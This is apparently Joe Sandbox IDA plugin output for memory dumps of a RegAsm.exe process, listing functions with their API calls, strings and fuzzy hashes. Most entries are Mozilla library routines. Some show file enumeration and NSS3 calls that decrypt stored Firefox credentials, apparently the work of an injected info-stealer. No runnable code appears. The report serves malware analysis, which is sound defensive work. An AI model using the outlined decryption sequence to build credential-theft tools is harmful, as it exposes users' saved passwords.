Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 3bfca4904039594e7bc184b9ea0cd864b735e8bbaf74a4ec34d52db7b4bf7707
Instruction ID: 5a9d9924cf4f5588b7cf1b0220733e19b9eaeea9c8f58638c5d055d4a934acf6
Opcode Fuzzy Hash: 3bfca4904039594e7bc184b9ea0cd864b735e8bbaf74a4ec34d52db7b4bf7707
Instruction Fuzzy Hash: 6A5194B1940218ABC720EB70DC89FEE777DAF58304F40458DB60996190EB749BC5CFA5

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 6C2E7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35E744), ref: 6C2E7885
LeaveCriticalSection.KERNEL32(6C35E744), ref: 6C2E78A5
EnterCriticalSection.KERNEL32(6C35E784), ref: 6C2E78AD
LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2E78CD
EnterCriticalSection.KERNEL32(6C35E7DC), ref: 6C2E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C2E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C2E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C2E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C2E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C2E7C82
LeaveCriticalSection.KERNEL32(6C35E7DC), ref: 6C2E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C2E7DAF

Strings

D5l, xrefs: 6C2E787F
D5l, xrefs: 6C2E789F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: D5l$D5l
API String ID: 759993129-2009416242
Opcode ID: d726f41991af300aaa2b8e460462d7f11b1a1bdd8e76f108a8fb1fa99522c265
Instruction ID: 41b870e65585437dd45c7916a726ebe6d99ebc892eb6406df78491e8c40e354b
Opcode Fuzzy Hash: d726f41991af300aaa2b8e460462d7f11b1a1bdd8e76f108a8fb1fa99522c265
Instruction Fuzzy Hash: A5025F71A0121A8FDB54CF19C984799B7B5FF88718F6582AAEC09B7711D734AE90CF80

Function 6C317E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C317ECF, 6C318335
data, xrefs: 6C318280, 6C3183E1
(pre-xul), xrefs: 6C317E88
v5l, xrefs: 6C318207
schema, xrefs: 6C3181E3, 6C318311

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$v5l
API String ID: 3412268980-827778534
Opcode ID: bea1b1beb345a4a78f1d1cfcffb78c3435a54e1fc3b0b9de00b4802955936c69
Instruction ID: c0b0a2ed60aab139244d2d85c6d3bccd4f44e87c8b71d2e21ed785306c2e6f2d
Opcode Fuzzy Hash: bea1b1beb345a4a78f1d1cfcffb78c3435a54e1fc3b0b9de00b4802955936c69
Instruction Fuzzy Hash: 09E19FB5A043448FC710CF68C84065BFBEAFB89318F558A2DE995E7790DBB0DD098B91

Function 6C2FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C30D1C5), ref: 6C2FD4F2
LeaveCriticalSection.KERNEL32(6C35E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C30D1C5), ref: 6C2FD50B

Part of subcall function 6C2DCFE0: EnterCriticalSection.KERNEL32(6C35E784), ref: 6C2DCFF6
Part of subcall function 6C2DCFE0: LeaveCriticalSection.KERNEL32(6C35E784), ref: 6C2DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C30D1C5), ref: 6C2FD52E
EnterCriticalSection.KERNEL32(6C35E7DC), ref: 6C2FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C2FD6A6
LeaveCriticalSection.KERNEL32(6C35E7DC), ref: 6C2FD712
LeaveCriticalSection.KERNEL32(6C35E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C30D1C5), ref: 6C2FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C2FD7EA

Strings

<jemalloc>, xrefs: 6C2FD827
: (malloc) Error initializing arena, xrefs: 6C2FD82C

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 7413374a30d329462f0e8f8d24db90b360ca7de0bd0286683f999ec52501a640
Instruction ID: 18b0aaebe5096cdf8eac7305fbb60eb4f9efff7702bb23247a01607fb7b51842
Opcode Fuzzy Hash: 7413374a30d329462f0e8f8d24db90b360ca7de0bd0286683f999ec52501a640
Instruction Fuzzy Hash: 0391E471A4470D8FD714CF28C09072AF7E5EB89319F55492EE9AACBB80D734E841CB82

Function 0040C660 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C693
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00EEA9D8), ref: 0040C6B1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C6BC
PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
memcpy.MSVCRT ref: 0040C752
lstrcat.KERNEL32(?,00420B2E), ref: 0040C783
lstrcat.KERNEL32(?,00420B2F), ref: 0040C797
PK11_FreeSlot.NSS3(?), ref: 0040C7A1
lstrcat.KERNEL32(?,00420B33), ref: 0040C7B8

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction ID: c0f5229a5aee9ff77f702815419eeee9532eb5a68af55b4089f36d1ae8d19eeb
Opcode Fuzzy Hash: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction Fuzzy Hash: 96414E7490421ADFCB20CFA4DD89BEEBBB9AB48304F1042B9F509A7280D7745A85CF95

Function 6C334EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C334EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C334F2E
moz_xmalloc.MOZGLUE ref: 6C334F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C334F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3352E6
Sleep.KERNEL32(00000010), ref: 6C335481
free.MOZGLUE(?), ref: 6C335498

Strings

(, xrefs: 6C335250

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8bb8b7d1578b85ff38f218ec827f51c9b7bd6ce01ec350afe9b3f5a1a259828e
Instruction ID: 5b79938c5f1cce38cf2889d0f8e63e2535a57c3d39b48d5b8389fb55a7eaa65d
Opcode Fuzzy Hash: 8bb8b7d1578b85ff38f218ec827f51c9b7bd6ce01ec350afe9b3f5a1a259828e
Instruction Fuzzy Hash: 1FF1F371A18B408FC716DF38C85062BB7F9AFD6384F458B2EF84AA7651DB31D4468B81

Function 0040EB60 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EB7E
FindFirstFileA.KERNEL32(?,?), ref: 0040EB95
StrCmpCA.SHLWAPI(?,004214DC), ref: 0040EBEB
StrCmpCA.SHLWAPI(?,004214E0), ref: 0040EC01
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F0EE
FindClose.KERNEL32(000000FF), ref: 0040F103

Strings

%s\*.*, xrefs: 0040EB72

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b641c36dcbe642b9c87fd7d2aa1787ad06c513d5b20f32966b0821658141bab0
Instruction ID: c6306bd3c9db837ca22bf811b4dc293e3d61997c094f6f04bf3b71cb7d88404f
Opcode Fuzzy Hash: b641c36dcbe642b9c87fd7d2aa1787ad06c513d5b20f32966b0821658141bab0
Instruction Fuzzy Hash: 27E13071912118AADB14FB61DC56EEE7338AF50314F4041EEB40B62092EE786FD9CF5A

Function 6C315190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C3151DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C31529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6C3152FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C31536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C3153F7

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6C3156C3
__Init_thread_footer.LIBCMT ref: 6C3156E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6C3156BE

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: 3b5133440c8876793300342ae9fadddb8a704915b1b8a80e7d63d8f6f5358c7c
Instruction ID: 202f451f483db658f7297ccb5b839c69dca77130222813431bbc697b585f2ec4
Opcode Fuzzy Hash: 3b5133440c8876793300342ae9fadddb8a704915b1b8a80e7d63d8f6f5358c7c
Instruction Fuzzy Hash: D3E17F72918F458EC716DF35C850267B7BABF9B398F10DB0EE8AA2A950DF3090468751

Function 6C337030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C337046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C337060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C33707E

Part of subcall function 6C2E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C2E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C337096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C33709C
LocalFree.KERNEL32(?), ref: 6C3370AA

Strings

### ERROR: %s: %s, xrefs: 6C337087
(null), xrefs: 6C33706A, 6C337083

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: a08385713c539ab14c853cf4faf8d5478ea489d252bf75caf741740596ea2db9
Instruction ID: 881ebec1e46cf09f1b9f5099a8c60778824c27b22f1d0f6351935d65f6816884
Opcode Fuzzy Hash: a08385713c539ab14c853cf4faf8d5478ea489d252bf75caf741740596ea2db9
Instruction Fuzzy Hash: 1F01DDB2B00108AFDB045B68DC4ADFF7BBCEF49219F850439FA45E7241E67169148FA1

Function 0040DC50 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C19), ref: 0040DC9E
StrCmpCA.SHLWAPI(?,0042146C), ref: 0040DCEE
StrCmpCA.SHLWAPI(?,00421470), ref: 0040DD04
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E220
FindClose.KERNEL32(000000FF), ref: 0040E232

Strings

\*.*, xrefs: 0040DC66
t@, xrefs: 0040DC72, 0040E240, 0040DD33, 0040DCB5, 0040DD36

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*$t@
API String ID: 2325840235-663382066
Opcode ID: f1ca848d7988d7fd75b545473e61763f3332d63cfed14334e254e43c62b8fdf1
Instruction ID: e9223715fb7ea1854cb62e564a6307543a1272858c9b536fbbbe29962c1fc9f0
Opcode Fuzzy Hash: f1ca848d7988d7fd75b545473e61763f3332d63cfed14334e254e43c62b8fdf1
Instruction Fuzzy Hash: 3EF1FE71915118AACB15FB61DC95AEEB338AF24314F8041DFB40A62091EF782BD9CF5A

Function 6C322C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C322C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C322C61

Part of subcall function 6C2D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C2D4E5A
Part of subcall function 6C2D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C2D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C322C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C322E2D

Part of subcall function 6C2E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C2E81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C322E3B
expected a Time entry, xrefs: 6C322E36
(root), xrefs: 6C32354F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 7b9e9cf19878fb79a3634403ab21a31f8887384a9d74532f17c4fdba06201b65
Instruction ID: 7056188f2a7b398b27c3f29b71aab24749b3acb741ed5bd2ff6f246d4e06a1d3
Opcode Fuzzy Hash: 7b9e9cf19878fb79a3634403ab21a31f8887384a9d74532f17c4fdba06201b65
Instruction Fuzzy Hash: 6391D0706087408FCB24DF28C48069EBBE5AF89368F50892DE9D98B750DB35D549CF53

Function 6C339E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C339F3D
__aulldiv.LIBCMT ref: 6C339F77
__aullrem.LIBCMT ref: 6C339F8C
__aulldiv.LIBCMT ref: 6C33A023

Strings

-Infinity, xrefs: 6C339E60, 6C339E7B
NaN, xrefs: 6C339EAB

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: f0f996aa4dca930fc71eacf86ff0857f7a2306f42e762dde4951c1e7763a8304
Instruction ID: c2f1df5dceeae93a324b1d988ef0020b07bddbc0c49424b73344dae6a855dfa5
Opcode Fuzzy Hash: f0f996aa4dca930fc71eacf86ff0857f7a2306f42e762dde4951c1e7763a8304
Instruction Fuzzy Hash: D7C1AE31E043698BDF14CFE8C8507DEB7B6AB88308F545529D809ABB80DB75A949CF91

Function 6C34545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C348A4B

Strings

~q-l, xrefs: 6C34921F, 6C345740, 6C349459, 6C3456C7, 6C345703, 6C349269, 6C34948F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

